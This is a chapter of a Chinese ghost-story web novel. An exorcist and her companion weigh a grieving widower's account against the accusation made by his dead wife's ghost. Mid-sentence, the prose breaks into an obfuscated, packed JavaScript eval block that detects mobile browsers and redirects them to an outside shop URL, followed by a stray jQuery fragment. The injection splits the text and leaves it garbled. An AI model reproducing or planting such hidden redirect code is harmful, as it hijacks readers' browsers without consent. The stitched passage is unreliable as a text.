林知序是被敲门声吵醒的。
不是砸门，是敲门。敲三下，停一会儿，再敲三下。规规矩矩的，像办事的。
她翻了个身，听见沈茯苓趿拉着拖鞋从里屋出来。
门开了。
“沈大师，”一个男人的声音，哑得厉害，“你得帮帮我。”
林知序披上衣服走到堂屋门口，靠在门框上往外看。
四十来岁的男人，穿着洗得发白的夹克，脸色蜡黄，眼窝凹进去，嘴唇干得起皮。他站在门槛外面，两只手攥在一起，手指头一直在抖。
沈茯苓靠在门框上，没让开。
“什么事？”
男人往身后看了一眼，压低声音：“有东西……跟着我。”
沈茯苓沉默了几秒，往旁边让了一步。
“进来。”
男人坐在堂屋的凳子上，低着头，盯着地上的砖缝。
沈茯苓坐在他对面，泡了杯茶推过去。男人没碰。
“我老婆，”他说，声音闷闷的，“她上个月出车祸走了。我……我也在车上，我活下来了，她没有。”
林知序站在旁边，看着他。
“她每天晚上都来，”男人继续说，“就站在那儿，也不说话，就看着我。我一开始以为是做梦，可是白天也能看见……后视镜里、窗户外面、墙角……”
他抬起头，眼眶红红的。
“沈大师，我不是怕。她是我老婆，我不怕她。我就是……我就是看着她那样，我心里难受。她有什么话想跟我说，她说啊，她老看着我干什么……”
沈茯苓站起来，走到他面前，闭上眼睛。
林知序听见她嘴里开始念。那些音节又低又快，像风吹过干草。
过了一会儿，沈茯苓睁开眼睛，往男人身后看了一眼。
屋里安静得能听见墙上挂钟的秒针在走。
“你先回去，”沈茯苓说，“明天再来。”
男人愣了愣：“沈大师，是不是——”
“明天再来。”
男人站起来，走到门口又回头，想说什么，最终还是没说出口。
林知序把门带上，回到堂屋。
“看见了？”她问。
沈茯苓点头。
“什么样的？”
“蹲在他身后边，”沈茯苓说，“一直在哭。”
林知序愣了一下：“哭什么？”
“听不清。”沈茯苓说，“翻来覆去就几个字，什么害了我……什么不得好死……”
林知序欲言又止。
沈茯苓看了她一眼：“想说什么就说。”
林知序想了想：“他看起来挺难过的。不像装的。”
“嗯。”
“那你觉得呢？”
沈茯苓没回答，端起那杯没人喝过的茶，一口一口喝完了。
下午沈茯苓出门了，天黑才回来。
她把一个牛皮纸袋往桌上一放，坐下，不说话。
林知序凑过去看——是交警队的卷宗，复印的，有点模糊。
“哪儿来的？”
“交警队有熟人。”沈茯苓说，“我师傅当年的老关系。”
林知序翻了翻。事故时间、地点、车辆信息、现场照片——一辆撞毁的轿车，挡墙上一道深深的痕迹，地上画着白色的位置标记。
“看出什么了？”她问。
沈茯苓摇头：“什么都看不出来。两年前的车祸，环岛，晚上十点多，女的当场死亡，男的抢救了大半年，做了十次手术。没刹车痕迹，不是酒驾，就是一场意外。”
林知序把卷宗合上：“那你信吗？”
沈茯苓没回答。她站起来，从柜子里翻出三根香，往兜里一揣。
“我去现场看看。”
“现在？”
“现在。”
“我也去。”
沈茯苓看了她一眼，没说好，也没说不好。
现场在郊区，骑电动车要半小时。
风刮在脸上生疼，林知序把脸埋在沈茯苓后背上。
环岛到了。路灯昏黄，照着那块挡墙。墙上的水泥补过，颜色比旁边深一块，像一道疤。
沈茯苓把车停下，站在环岛中央，掏出三根香，点上，插在地上。然后闭上眼睛，开始念。
香火烟像是有意识一样，顺着一条直线飘到远处。
夜风冷，吹得林知序缩了缩脖子。
然后她听见了。
一个声音。
很低，很轻，像是什么人在哭。
不是沈茯苓。
林知序僵住了，慢慢转过头，看向那个方向。
栏杆边上，蹲着一团黑影。
灰蒙蒙的，像一团散不开的雾。它低着头，肩膀一抽一抽的，发出那种很低很低的哭声。
林知序往后退了一步。
那团黑影慢慢抬起头。
林知序看不清它的脸，只看见两个空空的眼眶。
然后她听见了那个声音——像是从很远的地方飘过来，又像是贴在耳朵边上说的：
“是他害了我……是他……我要他不得好死……”
一阵风吹过，那团黑影散了。
林知序站在原地，后背全是冷汗。
沈茯苓睁开眼睛。
“看见了？”
林知序点头，声音有点干：“看见了。”
沈茯苓没说话，把地上的香收了，骑上电动车。
“走吧。”
回去的路上，林知序一直没说话。
脑子里反复响着那句话——是他害了我。是他。我要他不得好死。
但也想起那个男人红着眼眶说的那句话：“她是我老婆，我不怕她。我就是看着她那样，我心里难受。”
回到院子，沈茯苓把电动车停好，进屋。
林知序跟在后面。
“你打算怎么办？”她问。
沈茯苓把外套挂上，头也没回：“不知道。”
“他不是说那女的想带他走吗？”林知序说，“可那个鬼说的是——”
“我知道她说什么。”沈茯苓打断她。
林知序闭上嘴。
沈茯苓站了一会儿，转身看她。
“你信谁？”
林知序想了想：“我不知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432179|200932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道。那个男的看起来挺老实的，不像坏人。可那个鬼……”
“鬼可不会撒谎。”沈茯苓说。
林知序愣了一下：“你的意思是，那男的——”
“我什么都没说。”沈茯苓往里屋走，“睡觉。”
门帘垂下来，挡住了她的背影。
第二天早上，那个男人又来了。
他脸色比昨天还差，眼窝更深了，嘴唇发白，进门的时候腿都有点软。
“沈大师，”他说，声音抖着，“她昨天晚上……又来了。”
沈茯苓看着他，没说话。
“她站在我床头，”男人说，“一直哭，一直哭……我就问她，你到底想跟我说什么，你说啊，你说了我去办……她不说话，就是哭……”
他捂着脸，肩膀抽动。
“我对不起她。”他说，声音闷在手掌里，“那天开车，我要是再小心一点……我要是没走那条路……”
林知序站在旁边，看着他。
这个男人，哭得不像装的。
可昨天晚上那个声音，也不像假的。
沈茯苓沉默了很久。
然后她开口：“你回去吧。”
男人抬头，眼睛红红的：“沈大师……”
“我帮不了你。”沈茯苓说，“这事我管不了。”
男人的脸白了一瞬。
他张了张嘴，没说出话来。然后慢慢站起来，慢慢往外走。走到门口的时候，他回过头。
“沈大师，”他说，声音哑得厉害，“她要是再来……你跟她说，我对不起她。”
门关上了。
林知序看着那扇门，又看看沈茯苓。
“你真不帮？”
沈茯苓没说话，拿起桌上的桃木剑，开始擦。
林知序在她旁边坐下。
“那个鬼说的话，你信？”
沈茯苓擦剑的手没停：“都说了，鬼不会撒谎。”
“那那个男的呢？”
沈茯苓没回答。
林知序想了想，又说：“可他那个样子……也不像装的。”
沈茯苓停下擦剑的动作，看了她一眼。
“不像装的，就一定不是装的？”
林知序愣了一下。
沈茯苓把剑放下，站起来。
“我出去一趟。”
“去哪儿？”
沈茯苓没回答，已经走出门了。
林知序一个人坐在堂屋里。
墙上那幅画像里的老太太，笑得吊儿郎当的。
“你徒弟说话怎么老说一半？”林知序问。
画像当然不会回答。
她盯着那幅画像看了很久，然后站起来，走到门口。
院门外空荡荡的，街上偶尔有个人走过。五月的阳光照在地上，明晃晃的，什么阴影都藏不住。
可林知序忽然想起昨晚那团黑影，想起那两个空空的眼眶，想起那句话——
是他害了我。
她把手揣进兜里，靠着门框，眯起眼睛看着那条街。
沈茯苓没说去哪儿。
但林知序大概猜到了。